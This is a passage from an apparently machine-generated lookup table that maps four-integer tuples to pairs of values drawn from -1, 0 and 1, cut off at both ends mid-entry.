-4): (0, 1), (3, 32, 1, -3): (-1, 1), (3, 32, 1, -2): (-1, 1), (3, 32, 1, -1): (-1, 1), (3, 32, 1, 0): (-1, 1), (3, 32, 1, 1): (-1, 0), (3, 32, 1, 2): (-1, -1), (3, 32, 1, 3): (-1, 1), (3, 32, 1, 4): (-1, 1), (3, 32, 1, 5): (-1, 1), (3, 32, 2, -5): (0, 1), (3, 32, 2, -4): (0, 1), (3, 32, 2, -3): (0, 1), (3, 32, 2, -2): (-1, 1), (3, 32, 2, -1): (-1, 0), (3, 32, 2, 0): (-1, -1), (3, 32, 2, 1): (-1, 1), (3, 32, 2, 2): (-1, 1), (3, 32, 2, 3): (-1, 1), (3, 32, 2, 4): (-1, 1), (3, 32, 2, 5): (-1, 1), (3, 32, 3, -5): (-1, 1), (3, 32, 3, -4): (-1, 1), (3, 32, 3, -3): (-1, 1), (3, 32, 3, -2): (-1, 1), (3, 32, 3, -1): (-1, 0), (3, 32, 3, 0): (-1, -1), (3, 32, 3, 1): (-1, 1), (3, 32, 3, 2): (-1, 1), (3, 32, 3, 3): (-1, 1), (3, 32, 3, 4): (-1, 1), (3, 32, 3, 5): (-1, 1), (3, 32, 4, -5): (0, 1), (3, 32, 4, -4): (0, 1), (3, 32, 4, -3): (0, 1), (3, 32, 4, -2): (0, 1), (3, 32, 4, -1): (0, 1), (3, 32, 4, 0): (0, 1), (3, 32, 4, 1): (-1, 1), (3, 32, 4, 2): (-1, 1), (3, 32, 4, 3): (-1, 1), (3, 32, 4, 4): (-1, 1), (3, 32, 4, 5): (-1, 1), (3, 32, 5, -5): (0, 1), (3, 32, 5, -4): (0, 1), (3, 32, 5, -3): (0, 1), (3, 32, 5, -2): (0, 1), (3, 32, 5, -1): (0, 1), (3, 32, 5, 0): (0, 1), (3, 32, 5, 1): (0, 1), (3, 32, 5, 2): (0, 1), (3, 32, 5, 3): (-1, 1), (3, 32, 5, 4): (-1, 1), (3, 32, 5, 5): (-1, 1), (3, 33, -5, -5): (0, 1), (3, 33, -5, -4): (0, 1), (3, 33, -5, -3): (0, 1), (3, 33, -5, -2): (0, 1), (3, 33, -5, -1): (0, 1), (3, 33, -5, 0): (0, 1), (3, 33, -5, 1): (0, 1), (3, 33, -5, 2): (0, 0), (3, 33, -5, 3): (-1, -1), (3, 33, -5, 4): (0, 1), (3, 33, -5, 5): (0, 1), (3, 33, -4, -5): (0, 1), (3, 33, -4, -4): (0, 1), (3, 33, -4, -3): (0, 1), (3, 33, -4, -2): (0, 1), (3, 33, -4, -1): (0, 1), (3, 33, -4, 0): (0, 1), (3, 33, -4, 1): (0, 1), (3, 33, -4, 2): (0, 0), (3, 33, -4, 3): (-1, -1), (3, 33, -4, 4): (0, 1), (3, 33, -4, 5): (0, 1), (3, 33, -3, -5): (0, 1), (3, 33, -3, -4): (0, 1), (3, 33, -3, -3): (0, 1), (3, 33, -3, -2): (0, 1), (3, 33, -3, -1): (0, 1), (3, 33, -3, 0): (0, 1), (3, 33, -3, 1): (0, 1), (3, 33, -3, 2): (0, 0), (3, 33, -3, 3): (-1, -1), (3, 33, -3, 4): (0, 1), (3, 33, -3, 5): (0, 1), (3, 33, -2, -5): (1, 1), (3, 33, -2, -4): (-1, 1), (3, 33, -2, -3): (0, 1), (3, 33, -2, -2): (0, 1), (3, 33, -2, -1): (0, 1), (3, 33, -2, 0): (0, 1), (3, 33, -2, 1): (0, 1), (3, 33, -2, 2): (0, 0), (3, 33, -2, 3): (-1, -1), (3, 33, -2, 4): (0, 1), (3, 33, -2, 5): (0, 1), (3, 33, -1, -5): (0, 1), (3, 33, -1, -4): (0, 1), (3, 33, -1, -3): (0, 1), (3, 33, -1, -2): (-1, 1), (3, 33, -1, -1): (-1, 1), (3, 33, -1, 0): (-1, 1), (3, 33, -1, 1): (-1, 1), (3, 33, -1, 2): (-1, 0), (3, 33, -1, 3): (-1, -1), (3, 33, -1, 4): (0, 1), (3, 33, -1, 5): (0, 1), (3, 33, 0, -5): (-1, 1), (3, 33, 0, -4): (-1, 1), (3, 33, 0, -3): (-1, 1), (3, 33, 0, -2): (-1, 1), (3, 33, 0, -1): (-1, 1), (3, 33, 0, 0): (-1, 1), (3, 33, 0, 1): (-1, 0), (3, 33, 0, 2): (-1, -1), (3, 33, 0, 3): (-1, 1), (3, 33, 0, 4): (-1, 1), (3, 33, 0, 5): (-1, 1), (3, 33, 1, -5): (0, 1), (3, 33, 1, -4): (-1, 1), (3, 33, 1, -3): (-1, 1), (3, 33, 1, -2): (-1, 1), (3, 33, 1, -1): (-1, 1), (3, 33, 1, 0): (-1, 1), (3, 33, 1, 1): (-1, 0), (3, 33, 1, 2): (-1, 1), (3, 33, 1, 3): (-1, 1), (3, 33, 1, 4): (-1, 1), (3, 33, 1, 5): (-1, 1), (3, 33, 2, -5): (0, 1), (3, 33, 2, -4): (0, 1), (3, 33, 2, -3): (-1, 1), (3, 33, 2, -2): (-1, 0), (3, 33, 2, -1): (-1, -1), (3, 33, 2, 0): (-1, -1), (3, 33, 2, 1): (-1, 1), (3, 33, 2, 2): (-1, 1), (3, 33, 2, 3): (-1, 1), (3, 33, 2, 4): (-1, 1), (3, 33, 2, 5): (-1, 1), (3, 33, 3, -5): (-1, 1), (3, 33, 3, -4): (-1, 1), (3, 33, 3, -3): (-1, 1), (3, 33, 3, -2): (-1, 0), (3, 33, 3, -1): (-1, -1), (3, 33, 3, 0): (-1, 1), (3, 33, 3, 1): (-1, 1), (3, 33, 3, 2): (-1, 1), (3, 33, 3, 3): (-1, 1), (3, 33, 3, 4): (-1, 1), (3, 33, 3, 5): (-1, 1), (3, 33, 4, -5): (0, 1), (3, 33, 4, -4): (0, 1), (3, 33, 4, -3): (0, 1), (3, 33, 4, -2): (0, 0), (3, 33, 4, -1): (0, 1), (3, 33, 4, 0): (0, 1), (3, 33, 4, 1): (-1, 1), (3, 33, 4, 2): (-1, 1), (3, 33, 4, 3): (-1, 1), (3, 33, 4, 4): (-1, 1), (3, 33, 4, 5): (-1, 1), (3, 33, 5, -5): (0, 1), (3, 33, 5, -4): (0, 1), (3, 33, 5, -3): (0, 1), (3, 33, 5, -2): (0, 0), (3, 33, 5, -1): (0, 1), (3, 33, 5, 0): (0, 1), (3, 33, 5, 1): (0, 1), (3, 33, 5, 2): (-1, 1), (3, 33, 5, 3): (-1, 1), (3, 33, 5, 4): (-1, 1), (3, 33, 5, 5): (-1, 1), (3, 34, -5, -5): (0, 1), (3, 34, -5, -4): (0, 1), (3, 34, -5, -3): (0, 1), (3, 34, -5, -2): (0, 1), (3, 34, -5, -1): (0, 1), (3, 34, -5, 0): (0, 1), (3, 34, -5, 1): (0, 0), (3, 34, -5, 2): (-1, -1), (3, 34, -5, 3): (0, 1), (3, 34, -5, 4): (0, 1), (3, 34, -5, 5): (0, 1), (3, 34, -4, -5): (0, 1), (3, 34, -4, -4): (0, 1), (3, 34, -4, -3): (0, 1), (3, 34, -4, -2): (0, 1), (3, 34, -4, -1): (0, 1), (3, 34, -4, 0): (0, 1), (3, 34, -4, 1): (0, 0), (3, 34, -4, 2): (-1, -1), (3, 34, -4, 3): (0, 1), (3, 34, -4, 4): (0, 1), (3, 34, -4, 5): (0, 1), (3, 34, -3, -5): (0, 1), (3, 34, -3, -4): (0, 1), (3, 34, -3, -3): (0, 1), (3, 34, -3, -2): (0, 1), (3, 34, -3, -1): (0, 1), (3, 34, -3, 0): (0, 1), (3, 34, -3, 1): (0, 0), (3, 34, -3, 2): (-1, -1), (3, 34, -3, 3): (0, 1), (3, 34, -3, 4): (0, 1), (3, 34, -3, 5): (0, 1), (3, 34, -2, -5): (-1, 1), (3, 34, -2, -4): (0, 1), (3, 34, -2, -3): (0, 1), (3, 34, -2, -2): (0, 1), (3, 34, -2, -1): (0, 1), (3, 34, -2, 0): (0, 1), (3, 34, -2, 1): (0, 0), (3, 34, -2, 2): (-1, -1), (3, 34, -2, 3): (0, 1), (3, 34, -2, 4): (0, 1), (3, 34, -2, 5): (0, 1), (3, 34, -1, -5): (0, 1), (3, 34, -1, -4): (0, 1), (3, 34, -1, -3): (-1, 1), (3, 34, -1, -2): (-1, 1), (3, 34, -1, -1): (-1, 1), (3, 34, -1, 0): (-1, 1), (3, 34, -1, 1): (-1, 0), (3, 34, -1, 2): (-1, -1), (3, 34, -1, 3): (0, 1), (3, 34, -1, 4): (0, 1), (3, 34, -1, 5): (0, 1), (3, 34, 0, -5): (-1, 1), (3, 34, 0, -4): (-1, 1), (3, 34, 0, -3): (-1, 0), (3, 34, 0, -2): (-1, 1), (3, 34, 0, -1): (-1, 1), (3, 34, 0, 0): (-1, 0), (3, 34, 0, 1): (-1, -1), (3, 34, 0, 2): (-1, 1), (3, 34, 0, 3): (-1, 1), (3, 34, 0, 4): (-1, 1), (3, 34, 0, 5): (-1, 1), (3, 34, 1, -5): (-1, 1), (3, 34, 1, -4): (-1, 1), (3, 34, 1, -3): (-1, 0), (3, 34, 1, -2): (-1, 1), (3, 34, 1, -1): (-1, 1), (3, 34, 1, 0): (-1, 1), (3, 34, 1, 1): (-1, 1), (3, 34, 1, 2): (-1, 1), (3, 34, 1, 3): (-1, 1), (3, 34, 1, 4): (-1, 1), (3, 34, 1, 5): (-1, 1), (3, 34, 2, -5): (0, 1), (3, 34, 2, -4): (-1, 1), (3, 34, 2, -3): (-1, 0), (3, 34, 2, -2): (-1, -1), (3, 34, 2, -1): (-1, 1), (3, 34, 2, 0): (-1, 1), (3, 34, 2, 1): (-1, 1), (3, 34, 2, 2): (-1, 1), (3, 34, 2, 3): (-1, 1), (3, 34, 2, 4): (-1, 1), (3, 34, 2, 5): (-1, 1), (3, 34, 3, -5): (-1, 1), (3, 34, 3, -4): (-1, 1), (3, 34, 3, -3): (-1, 0), (3, 34, 3, -2): (-1, -1), (3, 34, 3, -1): (1, 0), (3, 34, 3, 0): (-1, 1), (3, 34, 3, 1): (-1, 1), (3, 34, 3, 2): (-1, 1), (3, 34, 3, 3): (-1, 1), (3, 34, 3, 4): (-1, 1), (3, 34, 3, 5): (-1, 1), (3, 34, 4, -5): (0, 1), (3, 34, 4, -4): (0, 1), (3, 34, 4, -3): (0, 1), (3, 34, 4, -2): (0, 1), (3, 34, 4, -1): (0, 1), (3, 34, 4, 0): (-1, 1), (3, 34, 4, 1): (-1, 1), (3, 34, 4, 2): (-1, 1), (3, 34, 4, 3): (-1, 1), (3, 34, 4, 4): (-1, 1), (3, 34, 4, 5): (-1, 1), (3, 34, 5, -5): (0, 1), (3, 34, 5, -4): (0, 1), (3, 34, 5, -3): (0, 1), (3, 34, 5, -2): (0, 1), (3, 34, 5, -1): (0, 1), (3, 34, 5, 0): (0, 1), (3, 34, 5, 1): (-1, 1), (3, 34, 5, 2): (-1, 1), (3, 34, 5, 3): (-1, 1), (3, 34, 5, 4): (-1, 1), (3, 34, 5, 5): (-1, 1), (3, 35, -5, -5): (0, 1), (3, 35, -5, -4): (0, 1), (3, 35, -5, -3): (0, 1), (3, 35, -5, -2): (0, 1), (3, 35, -5, -1): (0, 1), (3, 35, -5, 0): (0, 0), (3, 35, -5, 1): (-1, -1), (3, 35, -5, 2): (0, 1), (3, 35, -5, 3): (0, 1), (3, 35, -5, 4): (0, 1), (3, 35, -5, 5): (0, 1), (3, 35, -4, -5): (0, 1), (3, 35, -4, -4): (0, 1), (3, 35, -4, -3): (0, 1), (3, 35, -4, -2): (0, 1), (3, 35, -4, -1): (0, 1), (3, 35, -4, 0): (0, 0), (3, 35, -4, 1): (-1, -1), (3, 35, -4, 2): (0, 1), (3, 35, -4, 3): (0, 1), (3, 35, -4, 4): (0, 1), (3, 35, -4, 5): (0, 1), (3, 35, -3, -5): (0, 1), (3, 35, -3, -4): (0, 1), (3, 35, -3, -3): (0, 1), (3, 35, -3, -2): (0, 1), (3, 35, -3, -1): (0, 1), (3, 35, -3, 0): (0, 0), (3, 35, -3, 1): (-1, -1), (3, 35, -3, 2): (0, 1), (3, 35, -3, 3): (0, 1), (3, 35, -3, 4): (0, 1), (3, 35, -3, 5): (0, 1), (3, 35, -2, -5): (0, 1), (3, 35, -2, -4): (0, 1), (3, 35, -2, -3): (0, 1), (3, 35, -2, -2): (0, 1), (3, 35, -2, -1): (0, 1), (3, 35, -2, 0): (0, 0), (3, 35, -2, 1): (-1, -1), (3, 35, -2, 2): (0, 1), (3, 35, -2, 3): (0, 1), (3, 35, -2, 4): (0, 1), (3, 35, -2, 5): (0, 1), (3, 35, -1, -5): (0, 1), (3, 35, -1, -4): (-1, 1), (3, 35, -1, -3): (-1, 1), (3, 35, -1, -2): (-1, 1), (3, 35, -1, -1): (-1, 1), (3, 35, -1, 0): (-1, 0), (3, 35, -1, 1): (-1, -1), (3, 35, -1, 2): (0, 1), (3, 35, -1, 3): (0, 1), (3, 35, -1, 4): (0, 1), (3, 35, -1, 5): (0, 1), (3, 35, 0, -5): (-1, 1), (3, 35, 0, -4): (-1, 0), (3, 35, 0, -3): (-1, 1), (3, 35, 0, -2): (-1, 1), (3, 35, 0, -1): (-1, 1), (3, 35, 0, 0): (-1, 0), (3, 35, 0, 1): (-1, -1), (3, 35, 0, 2): (-1, 1), (3, 35, 0, 3): (-1, 1), (3, 35, 0, 4): (-1, 1), (3, 35, 0, 5): (-1, 1), (3, 35, 1, -5): (-1, 1), (3, 35, 1, -4): (-1, 0), (3, 35, 1, -3): (-1, -1), (3, 35, 1, -2): (-1, 1), (3, 35, 1, -1): (-1, 1), (3, 35, 1, 0): (-1, 1), (3, 35, 1, 1): (-1, 1), (3, 35, 1, 2): (-1, 1), (3, 35, 1, 3): (-1, 1), (3, 35, 1, 4): (-1, 1), (3, 35, 1, 5): (-1, 1), (3, 35, 2, -5): (-1, 1), (3, 35, 2, -4): (-1, 0), (3, 35, 2, -3): (-1, -1), (3, 35, 2, -2): (-1, 0), (3, 35, 2, -1): (-1, -1), (3, 35, 2, 0): (-1, 1), (3, 35, 2, 1): (-1, 1), (3, 35, 2, 2): (-1, 1), (3, 35, 2, 3): (-1, 1), (3, 35, 2, 4): (-1, 1), (3, 35, 2, 5): (-1, 1), (3, 35, 3, -5): (-1, 1), (3, 35, 3, -4): (-1, 0), (3, 35, 3, -3): (-1, -1), (3, 35, 3, -2): (1, 1), (3, 35, 3, -1): (-1, 1), (3, 35, 3, 0): (-1, 1), (3, 35, 3, 1): (-1, 1), (3, 35, 3, 2): (-1, 1), (3, 35, 3, 3): (-1, 1), (3, 35, 3, 4): (-1, 1), (3, 35, 3, 5): (-1, 1), (3, 35, 4, -5): (0, 1), (3, 35, 4, -4): (0, 1), (3, 35, 4, -3): (0, 0), (3, 35, 4, -2): (0, 1), (3, 35, 4, -1): (0, 1), (3, 35, 4, 0): (-1, 1), (3, 35, 4, 1): (-1, 1), (3, 35, 4, 2): (-1, 1), (3, 35, 4, 3): (-1, 1), (3, 35, 4, 4): (-1, 1), (3, 35, 4, 5): (-1, 1), (3, 35, 5, -5): (0, 1), (3, 35, 5, -4): (0, 1), (3, 35, 5, -3): (0, 0), (3, 35, 5, -2): (0, 1), (3, 35, 5, -1): (0, 1), (3, 35, 5, 0): (-1, 1), (3, 35, 5, 1): (-1, 1), (3, 35, 5, 2): (-1, 1), (3, 35, 5, 3): (-1, 1), (3, 35, 5, 4): (-1, 1), (3, 35, 5, 5): (-1, 1), (4, 32, -5, -5): (0, 1), (4, 32, -5, -4): (0, 1), (4, 32, -5, -3): (0, 1), (4, 32, -5, -2): (0, 1), (4, 32, -5, -1): (0, 1), (4, 32, -5, 0): (0, 1), (4, 32, -5, 1): (0, 1), (4, 32, -5, 2): (0, 1), (4, 32, -5, 3): (0, 0), (4, 32, -5, 4): (-1, -1), (4, 32, -5, 5): (0, 1), (4, 32, -4, -5): (0, 1), (4, 32, -4, -4): (0, 1), (4, 32, -4, -3): (0, 1), (4, 32, -4, -2): (0, 1), (4, 32, -4, -1): (0, 1), (4, 32, -4, 0): (0, 1), (4, 32, -4, 1): (0, 1), (4, 32, -4, 2): (0, 1), (4, 32, -4, 3): (0, 0), (4, 32, -4, 4): (-1, -1), (4, 32, -4, 5): (0, 1), (4, 32, -3, -5): (-1, 1), (4, 32, -3, -4): (1, 1), (4, 32, -3, -3): (-1, 1), (4, 32, -3, -2): (0, 1), (4, 32, -3, -1): (0, 1), (4, 32, -3, 0): (0, 1), (4, 32, -3, 1): (0, 1), (4, 32, -3, 2): (0, 1), (4, 32, -3, 3): (0, 0), (4, 32, -3, 4): (-1, -1), (4, 32, -3, 5): (0, 1), (4, 32, -2, -5): (-1, 1), (4, 32, -2, -4): (0, 1), (4, 32, -2, -3): (0, 1), (4, 32, -2, -2): (0, 1), (4, 32, -2, -1): (-1, 1), (4, 32, -2, 0): (-1, 1), (4, 32, -2, 1): (-1, 1), (4, 32, -2, 2): (-1, 1), (4, 32, -2, 3): (-1, 0), (4, 32, -2, 4): (-1, -1), (4, 32, -2, 5): (0, 1), (4, 32, -1, -5): (0, 1), (4, 32, -1, -4): (-1, 1), (4, 32, -1, -3): (-1, 1), (4, 32, -1, -2): (-1, 1), (4, 32, -1, -1): (-1, 1), (4, 32, -1, 0): (-1, 1), (4, 32, -1, 1): (-1, 0), (4, 32, -1, 2): (-1, -1), (4, 32, -1, 3): (-1, 1), (4, 32, -1, 4): (-1, 1), (4, 32, -1, 5): (-1, 1), (4, 32, 0, -5): (0, 1), (4, 32, 0, -4): (0, 1), (4, 32, 0, -3): (-1, 1), (4, 32, 0, -2): (-1, 1), (4, 32, 0, -1): (-1, 1), (4, 32, 0, 0): (-1, 1), (4, 32, 0, 1): (-1, 0), (4, 32, 0, 2): (-1, -1), (4, 32, 0, 3): (-1, -1), (4, 32, 0, 4): (-1, -1), (4, 32, 0, 5): (-1, 1), (4, 32, 1, -5): (0, 1), (4, 32, 1, -4): (0, 1), (4, 32, 1, -3): (0, 1), (4, 32, 1, -2): (-1, 1), (4, 32, 1, -1): (-1, 1), (4, 32, 1, 0): (-1, 1), (4, 32, 1, 1): (-1, 0), (4, 32, 1, 2): (-1, -1), (4, 32, 1, 3): (-1, 1), (4, 32, 1, 4): (-1, 1), (4, 32, 1, 5): (-1, 1), (4, 32, 2, -5): (-1, 1), (4, 32, 2, -4): (-1, 1), (4, 32, 2, -3): (-1, 1), (4, 32, 2, -2): (-1, 1), (4, 32, 2, -1): (-1, 0), (4, 32, 2, 0): (-1, -1), (4, 32, 2, 1): (-1, 1), (4, 32, 2, 2): (-1, 1), (4, 32, 2, 3): (-1, 1), (4, 32, 2, 4): (-1, 1), (4, 32, 2, 5): (-1, 1), (4, 32, 3, -5): (0, 1), (4, 32, 3, -4): (0, 1), (4, 32, 3, -3): (0, 1), (4, 32, 3, -2): (0, 1), (4, 32, 3, -1): (0, 1), (4, 32, 3, 0): (0, 1), (4, 32, 3, 1): (-1, 1), (4, 32, 3, 2): (-1, 1), (4, 32, 3, 3): (-1, 1), (4, 32, 3, 4): (-1, 1), (4, 32, 3, 5): (-1, 1), (4, 32, 4, -5): (0, 1), (4, 32, 4, -4): (0, 1), (4, 32, 4, -3): (0, 1), (4, 32, 4, -2): (0, 1), (4, 32, 4, -1): (0, 1), (4, 32, 4, 0): (0, 1), (4, 32, 4, 1): (0, 1), (4, 32, 4, 2): (0, 1), (4, 32, 4, 3): (-1, 1), (4, 32, 4, 4): (-1, 1), (4, 32, 4, 5): (-1, 1), (4, 32, 5, -5): (0, 1), (4, 32, 5, -4): (0, 1), (4, 32, 5, -3): (0, 1), (4, 32, 5, -2): (0, 1), (4, 32, 5, -1): (0, 1), (4, 32, 5, 0): (0, 1), (4, 32, 5, 1): (0, 1), (4, 32, 5, 2): (0, 1), (4, 32, 5, 3): (-1, 1), (4, 32, 5, 4): (-1, 1), (4, 32, 5, 5): (-1, 1), (4, 33, -5, -5): (0, 1), (4, 33, -5, -4): (0, 1), (4, 33, -5, -3): (0, 1), (4, 33, -5, -2): (0, 1), (4, 33, -5, -1): (0, 1), (4, 33, -5, 0): (0, 1), (4, 33, -5, 1): (0, 1), (4, 33, -5, 2): (0, 0), (4, 33, -5, 3): (-1, -1), (4, 33, -5, 4): (0, 1), (4, 33, -5, 5): (0, 1), (4, 33, -4, -5): (0, 1), (4, 33, -4, -4): (0, 1), (4, 33, -4, -3): (0, 1), (4, 33, -4, -2): (0, 1), (4, 33, -4, -1): (0, 1), (4, 33, -4, 0): (0, 1), (4, 33, -4, 1): (0, 1), (4, 33, -4, 2): (0, 0), (4, 33, -4, 3): (-1, -1), (4, 33, -4, 4): (0, 1), (4, 33, -4, 5): (0, 1), (4, 33, -3, -5): (1, 1), (4, 33, -3, -4): (-1, 1), (4, 33, -3, -3): (0, 1), (4, 33, -3, -2): (0, 1), (4, 33, -3, -1): (0, 1), (4, 33, -3, 0): (0, 1), (4, 33, -3, 1): (0, 1), (4, 33, -3, 2): (0, 0), (4, 33, -3, 3): (-1, -1), (4, 33, -3, 4): (0, 1), (4, 33, -3, 5): (0, 1), (4, 33, -2, -5): (0, 1), (4, 33, -2, -4): (0, 1), (4, 33, -2, -3): (0, 1), (4, 33, -2, -2): (-1, 1), (4, 33, -2, -1): (-1, 1), (4, 33, -2, 0): (-1, 1), (4, 33, -2, 1): (-1, 1), (4, 33, -2, 2): (-1, 0), (4, 33, -2, 3): (-1, -1), (4, 33, -2, 4): (0, 1), (4, 33, -2, 5): (0, 1), (4, 33, -1, -5): (-1, 1), (4, 33, -1, -4): (-1, 1), (4, 33, -1, -3): (-1, 1), (4, 33, -1, -2): (0, 1), (4, 33, -1, -1): (-1, 1), (4, 33, -1, 0): (-1, 1), (4, 33, -1, 1): (-1, 0), (4, 33, -1, 2): (-1, -1), (4, 33, -1, 3): (-1, 1), (4, 33, -1, 4): (-1, 1), (4, 33, -1, 5): (-1, 1), (4, 33, 0, -5): (0, 1), (4, 33, 0, -4): (-1, 1), (4, 33, 0, -3): (-1, 1), (4, 33, 0, -2): (-1, 1), (4, 33, 0, -1): (-1, 1), (4, 33, 0, 0): (-1, 0), (4, 33, 0, 1): (-1, -1), (4, 33, 0, 2): (-1, -1), (4, 33, 0, 3): (-1, -1), (4, 33, 0, 4): (-1, 1), (4, 33, 0, 5): (-1, 1), (4, 33, 1, -5): (0, 1), (4, 33, 1, -4): (0, 1), (4, 33, 1, -3): (-1, 1), (4, 33, 1, -2): (-1, 1), (4, 33, 1, -1): (-1, 1), (4, 33, 1, 0): (-1, 1), (4, 33, 1, 1): (-1, 0), (4, 33, 1, 2): (-1, 1), (4, 33, 1, 3): (-1, 1), (4, 33, 1, 4): (-1, 1), (4, 33, 1, 5): (-1, 1), (4, 33, 2, -5): (-1, 1), (4, 33, 2, -4): (-1, 1), (4, 33, 2, -3): (-1, 1), (4, 33, 2, -2): (-1, 0), (4, 33, 2, -1): (-1, -1), (4, 33, 2, 0): (-1, 1), (4, 33, 2, 1): (-1, 1), (4, 33, 2, 2): (-1, 1), (4, 33, 2, 3): (-1, 1), (4, 33, 2, 4): (-1, 1), (4, 33, 2, 5): (-1, 1), (4, 33, 3, -5): (0, 1), (4, 33, 3, -4): (0, 1), (4, 33, 3, -3): (0, 1), (4, 33, 3, -2): (0, 0), (4, 33, 3, -1): (0, 1), (4, 33, 3, 0): (-1, 1), (4, 33, 3, 1): (-1, 1), (4, 33, 3, 2): (-1, 1), (4, 33, 3, 3): (-1, 1), (4, 33, 3, 4): (-1, 1), (4, 33, 3, 5): (-1, 1), (4, 33, 4, -5): (0, 1), (4, 33, 4, -4): (0, 1), (4, 33, 4, -3): (0, 1), (4, 33, 4, -2): (0, 0), (4, 33, 4, -1): (0, 1), (4, 33, 4, 0): (0, 1), (4, 33, 4, 1): (0, 1), (4, 33, 4, 2): (-1, 1), (4, 33, 4, 3): (-1, 1), (4, 33, 4, 4): (-1, 1), (4, 33, 4, 5): (-1, 1), (4, 33, 5, -5): (0, 1), (4, 33, 5, -4): (0, 1), (4, 33, 5, -3): (0, 1), (4, 33, 5, -2): (0, 0), (4, 33, 5, -1): (0, 1), (4, 33, 5, 0): (0, 1), (4, 33, 5, 1): (0, 1), (4, 33, 5, 2): (-1, 1), (4, 33, 5, 3): (-1, 1), (4, 33, 5, 4): (-1, 1), (4, 33, 5, 5): (-1, 1), (4, 34, -5, -5): (0, 1), (4, 34, -5, -4): (0, 1), (4, 34, -5, -3): (0, 1), (4, 34, -5, -2): (0, 1), (4, 34, -5, -1): (0, 1), (4, 34, -5, 0): (0, 1), (4, 34, -5, 1): (0, 0), (4, 34, -5, 2): (-1, -1), (4, 34, -5, 3): (0, 1), (4, 34, -5, 4): (0, 1), (4, 34, -5, 5): (0, 1), (4, 34, -4, -5): (0, 1), (4, 34, -4, -4): (0, 1), (4, 34, -4, -3): (0, 1), (4, 34, -4, -2): (0, 1), (4, 34, -4, -1): (0, 1), (4, 34, -4, 0): (0, 1), (4, 34, -4, 1): (0, 0), (4, 34, -4, 2): (-1, -1), (4, 34, -4, 3): (0, 1), (4, 34, -4, 4): (0, 1), (4, 34, -4, 5): (0, 1), (4, 34, -3, -5): (-1, 1), (4, 34, -3, -4): (0, 1), (4, 34, -3, -3): (0, 1), (4, 34, -3, -2): (0, 1), (4, 34, -3, -1): (0, 1), (4, 34, -3, 0): (0, 1), (4, 34, -3, 1): (0, 0), (4, 34, -3, 2): (-1, -1), (4, 34, -3, 3): (0, 1), (4, 34, -3, 4): (0, 1), (4, 34, -3, 5): (0, 1), (4, 34, -2, -5): (0, 1), (4, 34, -2, -4): (0, 1), (4, 34, -2, -3): (-1, 1), (4, 34, -2, -2): (-1, 1), (4, 34, -2, -1): (-1, 1), (4, 34, -2, 0): (-1, 1), (4, 34, -2, 1): (-1, 0), (4, 34, -2, 2): (-1, -1), (4, 34, -2, 3): (0, 1), (4, 34, -2, 4): (0, 1), (4, 34, -2, 5): (0, 1), (4, 34, -1, -5): (-1, 1), (4, 34, -1, -4): (-1, 1), (4, 34, -1, -3): (-1, 0), (4, 34, -1, -2): (-1, 1), (4, 34, -1, -1): (-1, 1), (4, 34, -1, 0): (-1, 0), (4, 34, -1, 1): (-1, -1), (4, 34, -1, 2): (-1, 1), (4, 34, -1, 3): (-1, 1), (4, 34, -1, 4): (-1, 1), (4, 34, -1, 5): (-1, 1), (4, 34, 0, -5): (-1, 1), (4, 34, 0, -4): (-1, 1), (4, 34, 0, -3): (-1, 1), (4, 34, 0, -2): (-1, 1), (4, 34, 0, -1): (-1, 1), (4, 34, 0, 0): (-1, 0), (4, 34, 0, 1): (-1, -1), (4, 34, 0, 2): (-1, -1), (4, 34, 0, 3): (-1, 1), (4, 34, 0, 4): (-1, 1), (4, 34, 0, 5): (-1, 1), (4, 34, 1, -5): (0, 1), (4, 34, 1, -4): (-1, 1), (4, 34, 1, -3): (-1, 0), (4, 34, 1, -2): (-1, 1), (4, 34, 1, -1): (-1, 1), (4, 34, 1, 0): (-1, 1), (4, 34, 1, 1): (-1, 1), (4, 34, 1, 2): (-1, 1), (4, 34, 1, 3): (-1, 1), (4, 34, 1, 4): (-1, 1), (4, 34, 1, 5): (-1, 1), (4, 34, 2, -5): (-1, 1), (4, 34, 2, -4): (-1, 1), (4, 34, 2, -3): (-1, 0), (4, 34, 2, -2): (-1, -1), (4, 34, 2, -1): (-1, 1), (4, 34, 2, 0): (-1, 1), (4, 34, 2, 1): (-1, 1), (4, 34, 2, 2): (-1, 1), (4, 34, 2, 3): (-1, 1), (4, 34, 2, 4): (-1, 1), (4, 34, 2, 5): (-1, 1), (4, 34, 3, -5): (0, 1), (4, 34, 3, -4): (0, 1), (4, 34, 3, -3): (0, 1), (4, 34, 3, -2): (0, 1), (4, 34, 3, -1): (0, 1), (4, 34, 3, 0): (-1, 1), (4, 34, 3, 1): (-1, 1), (4, 34, 3, 2): (-1, 1), (4, 34, 3, 3): (-1, 1), (4, 34, 3, 4): (-1, 1), (4, 34, 3, 5): (-1, 1), (4, 34, 4, -5): (0, 1), (4, 34, 4, -4): (0, 1), (4, 34, 4, -3): (0, 1), (4, 34, 4, -2): (0, 1), (4, 34, 4, -1): (0, 1), (4, 34, 4, 0): (0, 1), (4, 34, 4, 1): (-1, 1), (4, 34, 4, 2): (-1, 1), (4, 34, 4, 3): (-1, 1), (4, 34, 4, 4): (-1, 1), (4, 34, 4, 5): (-1, 1), (4, 34, 5, -5): (0, 1), (4, 34, 5, -4): (0, 1), (4, 34, 5, -3): (0, 1), (4, 34, 5, -2): (0, 1), (4, 34, 5, -1): (0, 1), (4, 34, 5, 0): (0, 1), (4, 34, 5, 1): (-1, 1), (4, 34, 5, 2): (-1, 1), (4, 34, 5, 3): (-1, 1), (4, 34, 5, 4): (-1, 1), (4, 34, 5, 5): (-1, 1), (4, 35, -5, -5): (0, 1), (4, 35, -5, -4): (0, 1), (4, 35, -5, -3): (0, 1), (4, 35, -5, -2): (0, 1), (4, 35, -5, -1): (0, 1), (4, 35, -5, 0): (0, 0), (4, 35, -5, 1): (-1, -1), (4, 35, -5, 2): (0, 1), (4, 35, -5, 3): (0, 1), (4, 35, -5, 4): (0, 1), (4, 35, -5, 5): (0, 1), (4, 35, -4, -5): (0, 1), (4, 35, -4, -4): (0, 1), (4, 35, -4, -3): (0, 1), (4, 35, -4, -2): (0, 1), (4, 35, -4, -1): (0, 1), (4, 35, -4, 0): (0, 0), (4, 35, -4, 1): (-1, -1), (4, 35, -4, 2): (0, 1), (4, 35, -4, 3): (0, 1), (4, 35, -4, 4): (0, 1), (4, 35, -4, 5): (0, 1), (4, 35, -3, -5): (0, 1), (4, 35, -3, -4): (0, 1), (4, 35, -3, -3): (0, 1), (4, 35, -3, -2): (0, 1), (4, 35, -3, -1): (0, 1), (4, 35, -3, 0): (0, 0), (4, 35, -3, 1): (-1, -1), (4, 35, -3, 2): (0, 1), (4, 